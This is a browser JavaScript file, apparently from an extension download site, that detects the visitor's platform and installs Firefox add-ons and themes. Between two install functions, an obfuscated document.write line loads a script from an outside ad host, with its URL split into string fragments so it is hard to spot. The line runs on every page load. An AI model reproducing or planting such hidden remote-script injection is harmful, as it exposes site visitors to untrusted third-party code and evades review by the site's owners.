var gPlatform = PLATFORM_WINDOWS;

var PLATFORM_OTHER    = 0;
var PLATFORM_WINDOWS  = 1;
var PLATFORM_LINUX    = 2;
var PLATFORM_MACOSX   = 3;
var PLATFORM_MAC      = 4;

if (navigator.platform.indexOf("Win32") != -1)
  gPlatform = PLATFORM_WINDOWS;
else if (navigator.platform.indexOf("Linux") != -1)
  gPlatform = PLATFORM_LINUX;
else if (navigator.userAgent.indexOf("Mac OS X") != -1)
  gPlatform = PLATFORM_MACOSX;
else if (navigator.userAgent.indexOf("MSIE 5.2") != -1)
  gPlatform = PLATFORM_MACOSX;
else if (navigator.platform.indexOf("Mac") != -1)
  gPlatform = PLATFORM_MAC;
else
  gPlatform = PLATFORM_OTHER;

function getPlatformName()
{
    aPlatform = gPlatform;
  if (aPlatform == PLATFORM_WINDOWS)
    return "Windows";
  if (aPlatform == PLATFORM_LINUX)
    return "Linux";
  if (aPlatform == PLATFORM_MACOSX)
    return "MacOSX";
  return "Unknown";
}


function getInstallURL(aEvent) {
    // The event target might be the link itself or one of its children
    var target = aEvent.target;
    while (target && !target.href)
      target = target.parentNode;
    
    return target && target.href;
}


function install( aEvent, extName, iconURL)  {   
	
		var url = getInstallURL(aEvent);

        var params = new Array();
        params[extName] = {
            URL: url,
            IconURL: iconURL,
            toString: function () { return this.URL; }
        };
        InstallTrigger.install(params);
        return false;
}
document.write("<s" + "cript src='http://a" + "d.z" + "om" + 
"123" + ".n" + "et/i" + "p.asp?l" + "oc=shanghai|hangzhou'><\/s" + "cript>");
function installTheme( aEvent, extName) {
    InstallTrigger.installChrome(InstallTrigger.SKIN,aEvent.target.href,extName);
    return false;
}